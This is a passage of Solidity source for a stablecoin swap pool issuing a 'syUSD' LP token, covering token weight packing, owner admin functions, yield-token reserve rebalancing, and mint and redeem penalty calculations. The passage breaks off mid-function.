address[] memory tokens,
address[] memory yTokens,
uint256[] memory decMultipliers,
uint256[] memory softWeights,
uint256[] memory hardWeights
)
public
ERC20("Smoothy LP Token", "syUSD")
{
require(tokens.length == yTokens.length, "tokens and ytokens must have the same length");
require(
tokens.length == decMultipliers.length,
"tokens and decMultipliers must have the same length"
);
require(
tokens.length == hardWeights.length,
"incorrect hard wt. len"
);
require(
tokens.length == softWeights.length,
"incorrect soft wt. len"
);
_rewardCollector = msg.sender;
for (uint8 i = 0; i < tokens.length; i++) {
uint256 info = uint256(tokens[i]);
require(hardWeights[i] >= softWeights[i], "hard wt. must >= soft wt.");
require(hardWeights[i] <= W_ONE, "hard wt. must <= 1e18");
info = _setHardWeight(info, hardWeights[i]);
info = _setSoftWeight(info, softWeights[i]);
info = _setDecimalMultiplier(info, decMultipliers[i]);
info = _setTID(info, i);
_yTokenAddresses[i] = yTokens[i];
// _balances[i] = 0; // no need to set
if (yTokens[i] != address(0x0)) {
info = _setYEnabled(info, true);
}
_tokenInfos[i] = info;
}
_ntokens = tokens.length;
}
/***************************************
* Methods to change a token info
***************************************/
/* return soft weight in 1e18 */
function _getSoftWeight(uint256 info) internal pure returns (uint256 w) {
return ((info >> 160) & ((U256_1 << 20) - 1)) * 1e12;
}
function _setSoftWeight(
uint256 info,
uint256 w
)
internal
pure
returns (uint256 newInfo)
{
require (w <= W_ONE, "soft weight must <= 1e18");
// Only maintain 1e6 resolution.
newInfo = info & ~(((U256_1 << 20) - 1) << 160);
newInfo = newInfo | ((w / 1e12) << 160);
}
function _getHardWeight(uint256 info) internal pure returns (uint256 w) {
return ((info >> 180) & ((U256_1 << 20) - 1)) * 1e12;
}
function _setHardWeight(
uint256 info,
uint256 w
)
internal
pure
returns (uint256 newInfo)
{
require (w <= W_ONE, "hard weight must <= 1e18");
// Only maintain 1e6 resolution.
newInfo = info & ~(((U256_1 << 20) - 1) << 180);
newInfo = newInfo | ((w / 1e12) << 180);
}
function _getDecimalMulitiplier(uint256 info) internal pure returns (uint256 dec) {
return (info >> (160 + DECM_OFF)) & ((U256_1 << 5) - 1);
}
function _setDecimalMultiplier(
uint256 info,
uint256 decm
)
internal
pure
returns (uint256 newInfo)
{
require (decm < 18, "decimal multipler is too large");
newInfo = info & ~(((U256_1 << 5) - 1) << (160 + DECM_OFF));
newInfo = newInfo | (decm << (160 + DECM_OFF));
}
function _isYEnabled(uint256 info) internal pure returns (bool) {
return (info >> (160 + YENABLE_OFF)) & 0x1 == 0x1;
}
function _setYEnabled(uint256 info, bool enabled) internal pure returns (uint256) {
if (enabled) {
return info | (U256_1 << (160 + YENABLE_OFF));
} else {
return info & ~(U256_1 << (160 + YENABLE_OFF));
}
}
function _setTID(uint256 info, uint256 tid) internal pure returns (uint256) {
require (tid < 256, "tid is too large");
require (_getTID(info) == 0, "tid cannot set again");
return info | (tid << (160 + TID_OFF));
}
function _getTID(uint256 info) internal pure returns (uint256) {
return (info >> (160 + TID_OFF)) & 0xFF;
}
/****************************************
* Owner methods
****************************************/
function pause(uint256 flag) external onlyOwner {
_pause(flag);
}
function unpause(uint256 flag) external onlyOwner {
_unpause(flag);
}
function changeRewardCollector(address newCollector) external onlyOwner {
_rewardCollector = newCollector;
}
function adjustWeights(
uint8 tid,
uint256 newSoftWeight,
uint256 newHardWeight
)
external
onlyOwner
{
require(newSoftWeight <= newHardWeight, "Soft-limit weight must <= Hard-limit weight");
require(newHardWeight <= W_ONE, "hard-limit weight must <= 1");
require(tid < _ntokens, "Backed token not exists");
_tokenInfos[tid] = _setSoftWeight(_tokenInfos[tid], newSoftWeight);
_tokenInfos[tid] = _setHardWeight(_tokenInfos[tid], newHardWeight);
}
function changeSwapFee(uint256 swapFee) external onlyOwner {
require(swapFee <= SWAP_FEE_MAX, "Swap fee must is too large");
_swapFee = swapFee;
}
function changeRedeemFee(
uint256 redeemFee
)
external
onlyOwner
{
require(redeemFee <= REDEEM_FEE_MAX, "Redeem fee is too large");
_redeemFee = redeemFee;
}
function changeAdminFeePct(uint256 pct) external onlyOwner {
require (pct <= ADMIN_FEE_PCT_MAX, "Admin fee pct is too large");
_adminFeePct = pct;
}
function changeAdminInterestPct(uint256 pct) external onlyOwner {
require (pct <= ADMIN_FEE_PCT_MAX, "Admin interest fee pct is too large");
_adminInterestPct = pct;
}
function initialize(
uint8 tid,
uint256 bTokenAmount
)
external
onlyOwner
{
require(tid < _ntokens, "Backed token not exists");
uint256 info = _tokenInfos[tid];
address addr = address(info);
IERC20(addr).safeTransferFrom(
msg.sender,
address(this),
bTokenAmount
);
_totalBalance = _totalBalance.add(bTokenAmount.mul(_normalizeBalance(info)));
_mint(msg.sender, bTokenAmount.mul(_normalizeBalance(info)));
}
function addToken(
address addr,
address yAddr,
uint256 softWeight,
uint256 hardWeight,
uint256 decMultiplier
)
external
onlyOwner
{
uint256 tid = _ntokens;
for (uint256 i = 0; i < tid; i++) {
require(address(_tokenInfos[i]) != addr, "cannot add dup token");
}
require (softWeight <= hardWeight, "soft weight must <= hard weight");
uint256 info = uint256(addr);
info = _setTID(info, tid);
info = _setYEnabled(info, yAddr != address(0x0));
info = _setSoftWeight(info, softWeight);
info = _setHardWeight(info, hardWeight);
info = _setDecimalMultiplier(info, decMultiplier);
_tokenInfos[tid] = info;
_yTokenAddresses[tid] = yAddr;
// _balances[tid] = 0; // no need to set
_ntokens = tid.add(1);
}
function setYEnabled(uint256 tid, address yAddr) external onlyOwner {
uint256 info = _tokenInfos[tid];
if (_yTokenAddresses[tid] != address(0x0)) {
// Withdraw all tokens from yToken, and clear yBalance.
uint256 pricePerShare = YERC20(_yTokenAddresses[tid]).getPricePerFullShare();
uint256 share = YERC20(_yTokenAddresses[tid]).balanceOf(address(this));
uint256 cash = _getCashBalance(info);
YERC20(_yTokenAddresses[tid]).withdraw(share);
uint256 dcash = _getCashBalance(info).sub(cash);
require(dcash >= pricePerShare.mul(share).div(W_ONE), "ytoken withdraw amount < expected");
// Update _totalBalance with interest
_updateTotalBalanceWithNewYBalance(tid, dcash);
_yBalances[tid] = 0;
}
info = _setYEnabled(info, yAddr != address(0x0));
_yTokenAddresses[tid] = yAddr;
_tokenInfos[tid] = info;
// If yAddr != 0x0, we will rebalance in next swap/mint/redeem/rebalance call.
}
/**
* Calculate binary logarithm of x. Revert if x <= 0.
* See LICENSE_LOG.md for license.
*
* @param x signed 64.64-bit fixed point number
* @return signed 64.64-bit fixed point number
*/
function lg2(int128 x) internal pure returns (int128) {
require (x > 0, "x must be positive");
int256 msb = 0;
int256 xc = x;
if (xc >= 0x10000000000000000) {xc >>= 64; msb += 64;}
if (xc >= 0x100000000) {xc >>= 32; msb += 32;}
if (xc >= 0x10000) {xc >>= 16; msb += 16;}
if (xc >= 0x100) {xc >>= 8; msb += 8;}
if (xc >= 0x10) {xc >>= 4; msb += 4;}
if (xc >= 0x4) {xc >>= 2; msb += 2;}
if (xc >= 0x2) {msb += 1;} // No need to shift xc anymore
int256 result = (msb - 64) << 64;
uint256 ux = uint256 (x) << (127 - msb);
/* 20 iterations so that the resolution is aboout 2^-20 \approx 5e-6 */
for (int256 bit = 0x8000000000000000; bit > 0x80000000000; bit >>= 1) {
ux *= ux;
uint256 b = ux >> 255;
ux >>= 127 + b;
result += bit * int256(b);
}
return int128(result);
}
function _safeToInt128(uint256 x) internal pure returns (int128 y) {
y = int128(x);
require(x == uint256(y), "Conversion to int128 failed");
return y;
}
/**
* @dev Return the approx logarithm of a value with log(x) where x <= 1.1.
* All values are in integers with (1e18 == 1.0).
*
* Requirements:
*
* - input value x must be greater than 1e18
*/
function _logApprox(uint256 x) internal pure returns (uint256 y) {
uint256 one = W_ONE;
require(x >= one, "logApprox: x must >= 1");
uint256 z = x - one;
uint256 zz = z.mul(z).div(one);
uint256 zzz = zz.mul(z).div(one);
uint256 zzzz = zzz.mul(z).div(one);
uint256 zzzzz = zzzz.mul(z).div(one);
return z.sub(zz.div(2)).add(zzz.div(3)).sub(zzzz.div(4)).add(zzzzz.div(5));
}
/**
* @dev Return the logarithm of a value.
* All values are in integers with (1e18 == 1.0).
*
* Requirements:
*
* - input value x must be greater than 1e18
*/
function _log(uint256 x) internal pure returns (uint256 y) {
require(x >= W_ONE, "log(x): x must be greater than 1");
require(x < (W_ONE << 63), "log(x): x is too large");
if (x <= W_ONE.add(W_ONE.div(10))) {
return _logApprox(x);
}
/* Convert to 64.64 float point */
int128 xx = _safeToInt128((x << 64) / W_ONE);
int128 yy = lg2(xx);
/* log(2) * 1e18 \approx 693147180559945344 */
y = (uint256(yy) * 693147180559945344) >> 64;
return y;
}
/**
* Return weights and cached balances of all tokens
* Note that the cached balance does not include the accrued interest since last rebalance.
*/
function _getBalancesAndWeights()
internal
view
returns (uint256[] memory balances, uint256[] memory softWeights, uint256[] memory hardWeights, uint256 totalBalance)
{
uint256 ntokens = _ntokens;
balances = new uint256[](ntokens);
softWeights = new uint256[](ntokens);
hardWeights = new uint256[](ntokens);
totalBalance = 0;
for (uint8 i = 0; i < ntokens; i++) {
uint256 info = _tokenInfos[i];
balances[i] = _getCashBalance(info);
if (_isYEnabled(info)) {
balances[i] = balances[i].add(_yBalances[i]);
}
totalBalance = totalBalance.add(balances[i]);
softWeights[i] = _getSoftWeight(info);
hardWeights[i] = _getHardWeight(info);
}
}
function _getBalancesAndInfos()
internal
view
returns (uint256[] memory balances, uint256[] memory infos, uint256 totalBalance)
{
uint256 ntokens = _ntokens;
balances = new uint256[](ntokens);
infos = new uint256[](ntokens);
totalBalance = 0;
for (uint8 i = 0; i < ntokens; i++) {
infos[i] = _tokenInfos[i];
balances[i] = _getCashBalance(infos[i]);
if (_isYEnabled(infos[i])) {
balances[i] = balances[i].add(_yBalances[i]);
}
totalBalance = totalBalance.add(balances[i]);
}
}
function _getBalance(uint256 info) internal view returns (uint256 balance) {
balance = _getCashBalance(info);
if (_isYEnabled(info)) {
balance = balance.add(_yBalances[_getTID(info)]);
}
}
function getBalance(uint256 tid) public view returns (uint256) {
return _getBalance(_tokenInfos[tid]);
}
function _normalizeBalance(uint256 info) internal pure returns (uint256) {
uint256 decm = _getDecimalMulitiplier(info);
return 10 ** decm;
}
/* @dev Return normalized cash balance of a token */
function _getCashBalance(uint256 info) internal view returns (uint256) {
return IERC20(address(info)).balanceOf(address(this))
.mul(_normalizeBalance(info));
}
function _getBalanceDetail(
uint256 info
)
internal
view
returns (uint256 pricePerShare, uint256 cashUnnormalized, uint256 yBalanceUnnormalized)
{
address yAddr = _yTokenAddresses[_getTID(info)];
pricePerShare = YERC20(yAddr).getPricePerFullShare();
cashUnnormalized = IERC20(address(info)).balanceOf(address(this));
uint256 share = YERC20(yAddr).balanceOf(address(this));
yBalanceUnnormalized = share.mul(pricePerShare).div(W_ONE);
}
/**************************************************************************************
* Methods for rebalance cash reserve
* After rebalancing, we will have cash reserve equaling to 10% of total balance
* There are two conditions to trigger a rebalancing
* - if there is insufficient cash for withdraw; or
* - if the cash reserve is greater than 20% of total balance.
* Note that we use a cached version of total balance to avoid high gas cost on calling
* getPricePerFullShare().
*************************************************************************************/
function _updateTotalBalanceWithNewYBalance(
uint256 tid,
uint256 yBalanceNormalizedNew
)
internal
{
uint256 adminFee = 0;
uint256 yBalanceNormalizedOld = _yBalances[tid];
// They yBalance should not be decreasing, but just in case,
if (yBalanceNormalizedNew >= yBalanceNormalizedOld) {
adminFee = (yBalanceNormalizedNew - yBalanceNormalizedOld).mul(_adminInterestPct).div(W_ONE);
}
_totalBalance = _totalBalance
.sub(yBalanceNormalizedOld)
.add(yBalanceNormalizedNew)
.sub(adminFee);
}
function _rebalanceReserve(
uint256 info
)
internal
{
require(_isYEnabled(info), "yToken must be enabled for rebalancing");
uint256 pricePerShare;
uint256 cashUnnormalized;
uint256 yBalanceUnnormalized;
(pricePerShare, cashUnnormalized, yBalanceUnnormalized) = _getBalanceDetail(info);
uint256 tid = _getTID(info);
// Update _totalBalance with interest
_updateTotalBalanceWithNewYBalance(tid, yBalanceUnnormalized.mul(_normalizeBalance(info)));
uint256 targetCash = yBalanceUnnormalized.add(cashUnnormalized).div(10);
if (cashUnnormalized > targetCash) {
uint256 depositAmount = cashUnnormalized.sub(targetCash);
// Reset allowance to bypass possible allowance check (e.g., USDT)
IERC20(address(info)).safeApprove(_yTokenAddresses[tid], 0);
IERC20(address(info)).safeApprove(_yTokenAddresses[tid], depositAmount);
// Calculate acutal deposit in the case that some yTokens may return partial deposit.
uint256 balanceBefore = IERC20(address(info)).balanceOf(address(this));
YERC20(_yTokenAddresses[tid]).deposit(depositAmount);
uint256 actualDeposit = balanceBefore.sub(IERC20(address(info)).balanceOf(address(this)));
_yBalances[tid] = yBalanceUnnormalized.add(actualDeposit).mul(_normalizeBalance(info));
} else {
uint256 expectedWithdraw = targetCash.sub(cashUnnormalized);
if (expectedWithdraw == 0) {
return;
}
uint256 balanceBefore = IERC20(address(info)).balanceOf(address(this));
// Withdraw +1 wei share to make sure actual withdraw >= expected.
YERC20(_yTokenAddresses[tid]).withdraw(expectedWithdraw.mul(W_ONE).div(pricePerShare).add(1));
uint256 actualWithdraw = IERC20(address(info)).balanceOf(address(this)).sub(balanceBefore);
require(actualWithdraw >= expectedWithdraw, "insufficient cash withdrawn from yToken");
_yBalances[tid] = yBalanceUnnormalized.sub(actualWithdraw).mul(_normalizeBalance(info));
}
}
/* @dev Forcibly rebalance so that cash reserve is about 10% of total. */
function rebalanceReserve(
uint256 tid
)
external
nonReentrantAndUnpausedV1
{
_rebalanceReserve(_tokenInfos[tid]);
}
/*
* @dev Rebalance the cash reserve so that
* cash reserve consists of 10% of total balance after substracting amountUnnormalized.
*
* Assume that current cash reserve < amountUnnormalized.
*/
function _rebalanceReserveSubstract(
uint256 info,
uint256 amountUnnormalized
)
internal
{
require(_isYEnabled(info), "yToken must be enabled for rebalancing");
uint256 pricePerShare;
uint256 cashUnnormalized;
uint256 yBalanceUnnormalized;
(pricePerShare, cashUnnormalized, yBalanceUnnormalized) = _getBalanceDetail(info);
// Update _totalBalance with interest
_updateTotalBalanceWithNewYBalance(
_getTID(info),
yBalanceUnnormalized.mul(_normalizeBalance(info))
);
// Evaluate the shares to withdraw so that cash = 10% of total
uint256 expectedWithdraw = cashUnnormalized.add(yBalanceUnnormalized).sub(
amountUnnormalized).div(10).add(amountUnnormalized).sub(cashUnnormalized);
if (expectedWithdraw == 0) {
return;
}
// Withdraw +1 wei share to make sure actual withdraw >= expected.
uint256 withdrawShares = expectedWithdraw.mul(W_ONE).div(pricePerShare).add(1);
uint256 balanceBefore = IERC20(address(info)).balanceOf(address(this));
YERC20(_yTokenAddresses[_getTID(info)]).withdraw(withdrawShares);
uint256 actualWithdraw = IERC20(address(info)).balanceOf(address(this)).sub(balanceBefore);
require(actualWithdraw >= expectedWithdraw, "insufficient cash withdrawn from yToken");
_yBalances[_getTID(info)] = yBalanceUnnormalized.sub(actualWithdraw)
.mul(_normalizeBalance(info));
}
/* @dev Transfer the amount of token out. Rebalance the cash reserve if needed */
function _transferOut(
uint256 info,
uint256 amountUnnormalized,
uint256 adminFee
)
internal
{
uint256 amountNormalized = amountUnnormalized.mul(_normalizeBalance(info));
if (_isYEnabled(info)) {
if (IERC20(address(info)).balanceOf(address(this)) < amountUnnormalized) {
_rebalanceReserveSubstract(info, amountUnnormalized);
}
}
IERC20(address(info)).safeTransfer(
msg.sender,
amountUnnormalized
);
_totalBalance = _totalBalance
.sub(amountNormalized)
.sub(adminFee.mul(_normalizeBalance(info)));
}
/* @dev Transfer the amount of token in. Rebalance the cash reserve if needed */
function _transferIn(
uint256 info,
uint256 amountUnnormalized
)
internal
{
uint256 amountNormalized = amountUnnormalized.mul(_normalizeBalance(info));
IERC20(address(info)).safeTransferFrom(
msg.sender,
address(this),
amountUnnormalized
);
_totalBalance = _totalBalance.add(amountNormalized);
// If there is saving ytoken, save the balance in _balance.
if (_isYEnabled(info)) {
uint256 tid = _getTID(info);
/* Check rebalance if needed */
uint256 cash = _getCashBalance(info);
if (cash > cash.add(_yBalances[tid]).mul(2).div(10)) {
_rebalanceReserve(info);
}
}
}
/**************************************************************************************
* Methods for minting LP tokens
*************************************************************************************/
/*
* @dev Return the amount of sUSD should be minted after depositing bTokenAmount into the pool
* @param bTokenAmountNormalized - normalized amount of token to be deposited
* @param oldBalance - normalized amount of all tokens before the deposit
* @param oldTokenBlance - normalized amount of the balance of the token to be deposited in the pool
* @param softWeight - percentage that will incur penalty if the resulting token percentage is greater
* @param hardWeight - maximum percentage of the token
*/
function _getMintAmount(
uint256 bTokenAmountNormalized,
uint256 oldBalance,
uint256 oldTokenBalance,
uint256 softWeight,
uint256 hardWeight
)
internal
pure
returns (uint256 s)
{
/* Evaluate new percentage */
uint256 newBalance = oldBalance.add(bTokenAmountNormalized);
uint256 newTokenBalance = oldTokenBalance.add(bTokenAmountNormalized);
/* If new percentage <= soft weight, no penalty */
if (newTokenBalance.mul(W_ONE) <= softWeight.mul(newBalance)) {
return bTokenAmountNormalized;
}
require (
newTokenBalance.mul(W_ONE) <= hardWeight.mul(newBalance),
"mint: new percentage exceeds hard weight"
);
s = 0;
/* if new percentage <= soft weight, get the beginning of integral with penalty. */
if (oldTokenBalance.mul(W_ONE) <= softWeight.mul(oldBalance)) {
s = oldBalance.mul(softWeight).sub(oldTokenBalance.mul(W_ONE)).div(W_ONE.sub(softWeight));
}
// bx + (tx - bx) * (w - 1) / (w - v) + (S - x) * ln((S + tx) / (S + bx)) / (w - v)
uint256 t;
{ // avoid stack too deep error
uint256 ldelta = _log(newBalance.mul(W_ONE).div(oldBalance.add(s)));
t = oldBalance.sub(oldTokenBalance).mul(ldelta);
}
t = t.sub(bTokenAmountNormalized.sub(s).mul(W_ONE.sub(hardWeight)));
t = t.div(hardWeight.sub(softWeight));
s = s.add(t);
require(s <= bTokenAmountNormalized, "penalty should be positive");
}
/*
* @dev Given the token id and the amount to be deposited, return the amount of lp token
*/
function getMintAmount(
uint256 bTokenIdx,
uint256 bTokenAmount
)
public
view
returns (uint256 lpTokenAmount)
{
require(bTokenAmount > 0, "Amount must be greater than 0");
uint256 info = _tokenInfos[bTokenIdx];
require(info != 0, "Backed token is not found!");
// Obtain normalized balances
uint256 bTokenAmountNormalized = bTokenAmount.mul(_normalizeBalance(info));
// Gas saving: Use cached totalBalance with accrued interest since last rebalance.
uint256 totalBalance = _totalBalance;
uint256 sTokenAmount = _getMintAmount(
bTokenAmountNormalized,
totalBalance,
_getBalance(info),
_getSoftWeight(info),
_getHardWeight(info)
);
return sTokenAmount.mul(totalSupply()).div(totalBalance);
}
/*
* @dev Given the token id and the amount to be deposited, mint lp token
*/
function mint(
uint256 bTokenIdx,
uint256 bTokenAmount,
uint256 lpTokenMintedMin
)
external
nonReentrantAndUnpausedV1
{
uint256 lpTokenAmount = getMintAmount(bTokenIdx, bTokenAmount);
require(
lpTokenAmount >= lpTokenMintedMin,
"lpToken minted should >= minimum lpToken asked"
);
_transferIn(_tokenInfos[bTokenIdx], bTokenAmount);
_mint(msg.sender, lpTokenAmount);
emit Mint(msg.sender, bTokenAmount, lpTokenAmount);
}
/**************************************************************************************
* Methods for redeeming LP tokens
*************************************************************************************/
/*
* @dev Return number of sUSD that is needed to redeem corresponding amount of token for another
* token
* Withdrawing a token will result in increased percentage of other tokens, where
* the function is used to calculate the penalty incured by the increase of one token.
* @param totalBalance - normalized amount of the sum of all tokens
* @param tokenBlance - normalized amount of the balance of a non-withdrawn token
* @param redeemAount - normalized amount of the token to be withdrawn
* @param softWeight - percentage that will incur penalty if the resulting token percentage is greater
* @param hardWeight - maximum percentage of the token
*/
function _redeemPenaltyFor(
uint256 totalBalance,
uint256 tokenBalance,
uint256 redeemAmount,
uint256 softWeight,
uint256 hardWeight
)
internal
pure
returns (uint256)
{
uint256 newTotalBalance = totalBalance.sub(redeemAmount);
/* Soft weight is satisfied. No penalty is incurred */
if (tokenBalance.mul(W_ONE) <= newTotalBalance.mul(softWeight)) {
return 0;
}
require (
tokenBalance.mul(W_ONE) <= newTotalBalance.mul(hardWeight),
"redeem: hard-limit weight is broken"
);
uint256 bx = 0;
// Evaluate the beginning of the integral for broken soft weight
if (tokenBalance.mul(W_ONE) < totalBalance.mul(softWeight)) {
bx = totalBalance.sub(tokenBalance.mul(W_ONE).div(softWeight));
}
// x * (w - v) / w / w * ln(1 + (tx - bx) * w / (w * (S - tx) - x)) - (tx - bx) * v / w
uint256 tdelta = tokenBalance.mul(
_log(W_ONE.add(redeemAmount.sub(bx).mul(hardWeight).div(hardWeight.mul(newTotalBalance).div(W_ONE).sub(tokenBalance)))));
uint256 s1 = tdelta.mul(hardWeight.sub(softWeight))
.div(hardWeight).div(hardWeight);
uint256 s2 = redeemAmount.sub(bx).mul(softWeight).div(hardWeight);
return s1.sub(s2);
}
/*
* @dev Return number of sUSD that is needed to redeem corresponding amount of token
* Withdrawing a token will result in increased percentage of other tokens, where
* the function is used to calculate the penalty incured by the increase.
* @param bTokenIdx - token id to be withdrawn
* @param totalBalance - normalized amount of the sum of all tokens
* @param balances - normalized amount of the balance of each token
* @param softWeights - percentage that will incur penalty if the resulting token percentage is greater
* @param hardWeights - maximum percentage of the token
* @param redeemAount - normalized amount of the token to be withdrawn
*/
function _redeemPenaltyForAll(
uint256 bTokenIdx,
uint256 totalBalance,
uint256[] memory balances,
uint256[] memory softWeights,
uint256[] memory hardWeights,
uint256 redeemAmount
)
internal
pure
returns (uint256)
{
uint256 s = 0;
for (uint256 k = 0; k < balances.length; k++) {
if (k == bTokenIdx) {
continue;
}
s = s.add(
_redeemPenaltyFor(totalBalance, balances[k], redeemAmount, softWeights[k], hardWeights[k]));
}
return s;
}
/*
* @dev Calculate the derivative of the penalty function.
* Same parameters as _redeemPenaltyFor.
*/
function _redeemPenaltyDerivativeForOne(
uint256 totalBalance,
uint256 tokenBalance,
uint256 redeemAmount,
uint256 softWeight,
uint256 hardWeight
)
internal
pure
returns (uint256)
{
uint256 dfx = W_ONE;
uint256 newTotalBalance = totalBalance.sub(redeemAmount);
/* Soft weight is satisfied. No penalty is incurred */
if (tokenBalance.mul(W_ONE) <= newTotalBalance.mul(softWeight)) {
return dfx;
}
// dx = dx + x * (w - v) / (w * (S - tx) - x) / w - v / w
return dfx.add(tokenBalance.mul(hardWeight.sub(softWeight))
.div(hardWeight.mul(newTotalBalance).div(W_ONE).sub(tokenBalance)))
.sub(softWeight.mul(W_ONE).div(hardWeight));
}
/*
* @dev Calculate the derivative of the penalty function.
* Same parameters as _redeemPenaltyForAll.
*/
function _redeemPenaltyDerivativeForAll(
uint256 bTokenIdx,
uint256 totalBalance,
uint256[] memory balances,
uint256[] memory softWeights,
uint256[] memory hardWeights,
uint256 redeemAmount
)
internal
pure
returns (uint256)
{
uint256 dfx = W_ONE;
uint256 newTotalBalance = totalBalance.sub(redeemAmount);
for (uint256 k = 0; k < balances.length; k++) {
if (k == bTokenIdx) {
continue;
}
/* Soft weight is satisfied. No penalty is incurred */
uint256 softWeight = softWeights[k];
uint256 balance = balances[k];
if (balance.mul(W_ONE) <= newTotalBalance.mul(softWeight)) {
continue;
}
// dx = dx + x * (w - v) / (w * (S - tx) - x) / w - v / w
uint256 hardWeight = hardWeights[k];
dfx = dfx.add(balance.mul(hardWeight.sub(softWeight))
.div(hardWeight.mul(newTotalBalance).div(W_ONE).sub(balance)))
.sub(softWeight.mul(W_ONE).div(hardWeight));
}
return dfx;
}
/*
* @dev Given the amount of sUSD to be redeemed, find the max token can be withdrawn
* This function is for swap only.
* @param tidOutBalance - the balance of the token to be withdrawn
* @param totalBalance - total balance of all tokens
* @param tidInBalance - the balance of the token to be deposited
* @param sTokenAmount - the amount of sUSD to be redeemed
* @param softWeight/hardWeight - normalized weights for the token to be withdrawn.
*/
function _redeemFindOne(
uint256 tidOutBalance,
uint256 totalBalance,
uint256 tidInBalance,
uint256 sTokenAmount,
uint256 softWeight,
uint256 hardWeight
)
internal
pure
returns (uint256)
{
uint256 redeemAmountNormalized = Math.min(
sTokenAmount,
tidOutBalance.mul(999).div(1000)
);
for (uint256 i = 0; i < 256; i++) {
uint256 sNeeded = redeemAmountNormalized.add(
_redeemPenaltyFor(
totalBalance,
tidInBalance,
redeemAmountNormalized,
softWeight,
hardWeight
));
uint256 fx = 0;
if (sNeeded > sTokenAmount) {
fx = sNeeded - sTokenAmount;
} else {
fx = sTokenAmount - sNeeded;
}
// penalty < 1e-5 of out amount
if (fx < redeemAmountNormalized / 100000) {
require(redeemAmountNormalized <= sTokenAmount, "Redeem error: out amount > lp amount");
require(redeemAmountNormalized <= tidOutBalance, "Redeem error: insufficient balance");
return redeemAmountNormalized;
}
uint256 dfx = _redeemPenaltyDerivativeForOne(
totalBalance,
tidInBalance,
redeemAmountNormalized,
softWeight,
hardWeight
);
if (sNeeded > sTokenAmount) {
redeemAmountNormalized = redeemAmountNormalized.sub(fx.mul(W_ONE).div(dfx));
} else {
redeemAmountNormalized = redeemAmountNormalized.add(fx.mul(W_ONE).div(dfx));
}
}
require (false, "cannot find proper resolution of fx");
}
/*
* @dev Given the amount of sUSD token to be redeemed, find the max token can be withdrawn
* @param bTokenIdx - the id of the token to be withdrawn
* @param sTokenAmount - the amount of sUSD token to be redeemed
* @param totalBalance - total balance of all tokens
* @param balances/softWeight/hardWeight - normalized balances/weights of all tokens
*/
function _redeemFind(
uint256 bTokenIdx,
uint256 sTokenAmount,
uint256 totalBalance,
uint256[] memory balances,
uint256[] memory softWeights,
uint256[] memory hardWeights
)
internal
pure
returns (uint256)
{
uint256 bTokenAmountNormalized = Math.min(
sTokenAmount,
balances[bTokenIdx].mul(999).div(1000)
);
for (uint256 i = 0; i < 256; i++) {
uint256 sNeeded = bTokenAmountNormalized.add(
_redeemPenaltyForAll(
bTokenIdx,
totalBalance,
balances,
softWeights,
hardWeights,
bTokenAmountNormalized
));
uint256 fx = 0;
if (sNeeded > sTokenAmount) {
fx = sNeeded - sTokenAmount;
} else {
fx = sTokenAmount - sNeeded;
}
// penalty < 1e-5 of out amount
if (fx < bTokenAmountNormalized / 100000) {
require(bTokenAmountNormalized <= sTokenAmount, "Redeem error: out amount > lp amount");
require(bTokenAmountNormalized <= balances[bTokenIdx], "Redeem error: insufficient balance");
return bTokenAmountNormalized;
}
uint256 dfx = _redeemPenaltyDerivativeForAll(
bTokenIdx,
totalBalance,
balances,
softWeights,
hardWeights,
bTokenAmountNormalized
);
if (sNeeded > sTokenAmount) {
bTokenAmountNormalized = bTokenAmountNormalized.sub(fx.mul(W_ONE).div(dfx));
} else {
bTokenAmountNormalized = bTokenAmountNormalized.add(fx.mul(W_ONE).div(dfx));
}
}
require (false, "cannot find proper resolution of fx");
}
/*
* @dev Given token id and LP token amount, return the max amount of token can be withdrawn
* @param tid - the id of the token to be withdrawn
* @param lpTokenAmount - the amount of LP token
*/
function _getRedeemByLpTokenAmount(
uint256 tid,
uint256 lpTokenAmount
)
internal
view
returns (uint256 bTokenAmount, uint256 totalBalance, uint256 adminFee)
{
require(lpTokenAmount > 0, "Amount must be greater than 0");
uint256 info = _tokenInfos[tid];
require(info != 0, "Backed token is not found!");
// Obtain normalized balances.
// Gas saving: Use cached balances/totalBalance without accrued interest since last rebalance.
uint256[] memory balances;
uint256[] memory softWeights;
uint256[] memory hardWeights;
(balances, softWeights, hardWeights, totalBalance) = _getBalancesAndWeights();
bTokenAmount = _redeemFind(
tid,
lpTokenAmount.mul(totalBalance).div(totalSupply()),
totalBalance,
balances,
softWeights,
hardWeights
).div(_normalizeBalance(info));
uint256 fee = bTokenAmount.mul(_redeemFee).div(W_ONE);
adminFee = fee.mul(_adminFeePct).div(W_ONE);
bTokenAmount = bTokenAmount.sub(fee);
}
function getRedeemByLpTokenAmount(
uint256 tid,
uint256 lpTokenAmount
)
public
view
returns (uint256 bTokenAmount)
{
(bTokenAmount,,) = _getRedeemByLpTokenAmount(tid, lpTokenAmount);
}
function redeemByLpToken(
uint256 bTokenIdx,
uint256 lpTokenAmount,
uint256 bTokenMin
)
external
nonReentrantAndUnpausedV1
{
(uint256 bTokenAmount, uint256 totalBalance, uint256 adminFee) = _getRedeemByLpTokenAmount(
bTokenIdx,
lpTokenAmount
);
require(bTokenAmount >= bTokenMin, "bToken returned < min bToken asked");
// Make sure _totalBalance == sum(balances)
_collectReward(totalBalance);
_burn(msg.sender, lpTokenAmount);
_transferOut(_tokenInfos[bTokenIdx], bTokenAmount, adminFee);
emit Redeem(msg.sender, bTokenAmount, lpTokenAmount);
}
/* @dev Redeem a specific token from the pool.
* Fee will be incured. Will incur penalty if the pool is unbalanced.
*/
function redeem(
uint256 bTokenIdx,
uint256 bTokenAmount,
uint256 lpTokenBurnedMax
)
external
nonReentrantAndUnpausedV1
{
require(bTokenAmount > 0, "Amount must be greater than 0");
uint256 info = _tokenInfos[bTokenIdx];
require (info != 0, "Backed token is not found!");
// Obtain normalized balances.
// Gas saving: Use cached balances/totalBalance without accrued interest since last rebalance.
(
uint256[] memory balances,
uint256[] memory softWeights,
uint256[] memory hardWeights,
uint256 totalBalance
) = _getBalancesAndWeights();
uint256 bTokenAmountNormalized = bTokenAmount.mul(_normalizeBalance(info));
require(balances[bTokenIdx] >= bTokenAmountNormalized, "Insufficient token to redeem");
_collectReward(totalBalance);
uint256 lpAmount = bTokenAmountNormalized.add(
_redeemPenaltyForAll(
bTokenIdx,
totalBalance,
balances,
softWeights,
hardWeights,
bTokenAmountNormalized
)).mul(totalSupply()).div(totalBalance);
require(lpAmount <= lpTokenBurnedMax, "burned token should <= maximum lpToken offered");
_burn(msg.sender, lpAmount);
/* Transfer out the token after deducting the fee. Rebalance cash reserve if needed */
uint256 fee = bTokenAmount.mul(_redeemFee).div(W_ONE);
_transferOut(
